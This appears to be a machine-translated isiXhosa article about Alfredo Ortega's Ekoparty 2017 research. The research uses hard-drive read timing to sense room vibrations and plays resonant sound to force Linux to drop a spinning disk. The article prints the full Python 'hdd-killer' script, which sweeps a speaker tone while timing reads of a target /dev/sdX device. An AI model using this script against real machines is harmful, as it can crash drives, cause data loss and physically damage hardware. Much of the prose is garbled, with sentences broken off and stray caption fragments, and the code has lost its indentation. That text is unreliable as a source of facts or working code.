Kwinkomfa yokhuseleko lwekhompyuter ye-Ekoparty 2017 e-Buenos Aires, i-hacker yase-Argentina u-Alfredo Ortega wabonisa uphuhliso olunomdla kakhulu-inkqubo yokufihla i-wiretapping yezakhiwo ngaphandle kokusebenzisa imakrofoni. Isandi
I-HDD ithatha ubukhulu becala izandi ezisezantsi-zandi, iinyawo kunye nokunye ukungcangcazela. Intetho yomntu ayinakubonwa, nangona izazinzulu
Isandi kukungcangcazela komoya okanye enye indlela. Umntu uzibona ngegubu lendlebe, elithumela ukungcangcazela kwindlebe engaphakathi. Imakrofoni iyilwe ngokusondeleyo njengendlebe - apha, kwakhona, ii-vibrations zirekhodwa ngenwebu encinci, evuselela amandla ombane. I-hard drive, ngokuqinisekileyo, ixhomekeke kwi-vibrations microscopic ngenxa yokuguquguquka komoya ojikelezayo. Oku kwaziwa nakwiimpawu zobugcisa ze-HDDs: abavelisi bahlala bebonisa inqanaba eliphezulu lokungcangcazela elivumelekileyo, kwaye i-hard drive ngokwayo izama ukuyibeka kwisitya sobungqina be-vibration esenziwe ngerabha okanye ezinye izinto ezikhuselayo. Kule nto kulula ukugqiba ukuba izandi zinokurekhodwa kusetyenziswa i-HDD. Into eseleyo kukufumanisa ukuba njani.
UAlfredo Ortega ucebise inguqulelo eyodwa yohlaselo lwetshaneli esecaleni, eyile, uhlaselo lwexesha. Olu hlaselo lusekelwe kwingcinga yokuba imisebenzi eyahlukeneyo yenziwa kwisixhobo ngamaxesha ahlukeneyo, kuxhomekeke kwidatha yegalelo elinikiweyo. Kule meko, "idatha yokufaka" kukushukuma kwentloko yokufunda kunye ne-HDD platter, ehambelana nokunyakaza kokusingqongileyo, oko kukuthi, ngesandi. Ngaloo ndlela, ngokulinganisa ixesha lokubala kunye nokwenza uhlalutyo lweenkcukacha-manani, ukuxubha kwentloko / isitya kwaye ngoko ke ukuxubha okuphakathi kunokulinganiswa. Okukhona ukulibaziseka kokufunda idatha, kokukhona i-HDD ishukuma ngamandla kwaye, ngoko, isandi esikhulu.
Indlela yokulinganisa i-hard drive vibration? Ilula kakhulu: vele usebenze umnxeba wenkqubo read ()
- kwaye urekhode ixesha elithathayo ukugqiba. Iinkqubo zokusebenza zanamhlanje zikuvumela ukuba ufunde ixesha leefowuni zenkqubo ngokuchaneka kwe-nanosecond.
Isantya solwazi lokufunda oluvela kwicandelo luxhomekeke kwindawo yentloko kunye nesitya, esihambelana nokungcangcazela kwecala le-HDD. Kuko konke.
Uhlalutyo lweenkcukacha-manani lwenziwa kusetyenziswa into eluncedo ye-Kscope elula. Njengoko bethetha, yonke into enobuchule ilula.
Usetyenziso lweKscope (stat() syscall)
I-Kscope sisixhobo esincinci sokujonga umahluko omncinci kumaxesha okwenziwa komnxeba. Umthombo
Kwindawo yokugcina eyahlukileyo read ()
.
Umboniso wokurekhoda kwesandi usebenzisa i-HDD, ukusebenza kwe-Kscope utility
Ewe, intetho ayinakuqondwa ngolu hlobo, kodwa i-HDD ifanelekile njengenzwa yokungcangcazela. Umzekelo, unokubhalisa ukuba umntu onxibe izihlangu ezinzima okanye ongenazihlangu wangena kwigumbi elinekhompyuter (mhlawumbi, ukuba umhlaseli unxibe iiteki ezithambileyo okanye kukho ikhaphethi engqindilili emgangathweni, i-HDD ayinakukwazi ukubhalisa ukungcangcazela - oku kufanelekile ukujonga). Ikhompyutha iyakwazi ukubhalisa iglasi eyaphukileyo okanye ezinye iziganeko ezinobunzulu besandi esinamandla. Oko kukuthi, i-hard drive inokusebenza njengohlobo lwenkqubo yokufumanisa ukungena okungagunyaziswanga.
HDD umbulali
Ngendlela, indlela efanayo ingasetyenziselwa ukukhubaza ii-hard drives. Kuphela apha asiyikususa i-oscillations kwi-HDD, kodwa ngokuchaseneyo, senza i-oscillations ezondliwa kwi-HDD. Ukuba udlala isandi kwisithethi kwi-frequency ehambelana ne-HDD frequency, inkqubo ngokukhawuleza icima isixhobo ngempazamo ye-I / O (i-Linux kernel icima ngokupheleleyo i-HDD emva kwemizuzwana ye-120). I-hard drive ngokwayo inokuba nomonakalo ongenakuguqulwa.
I-Linux kernel yacima i-hard drive emva kwemizuzwana ye-120 yokuhambisa isandi kwi-resonant frequency ngesithethi se-Edifier r19u isithethi se-USB. Isithethi sivulwa malunga nekota yamandla (ngaphantsi kwe-100 mW) kwaye ifumaneka kwi-20 cm ukusuka kwi-HDD, ejoliswe kwitheyibhile ukunyusa ukungcangcazela. Isakhelo ukusuka
Kuyathakazelisa ukuba "ukuhlaselwa" okunjalo kwii-HDD ngamanye amaxesha kwenzeka ngokupheleleyo ngengozi kubomi bemihla ngemihla. Ngokomzekelo, ngoSeptemba 2016, isikhungo sedatha ye-ING Bank saphoqeleka ukuba simise imisebenzi kwiiyure ze-10 emva kokucima umlilo.
Ukuboniswa kokukhala kwabantu kwii-hard drives kwiziko ledatha. Umlinganiselo wokubambezeleka
Ukuvelisa isandi esivakalayo, uAlfredo Ortega wabhala iskripthi sePython esibizwa ngokuba
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
umthombo: www.habr.com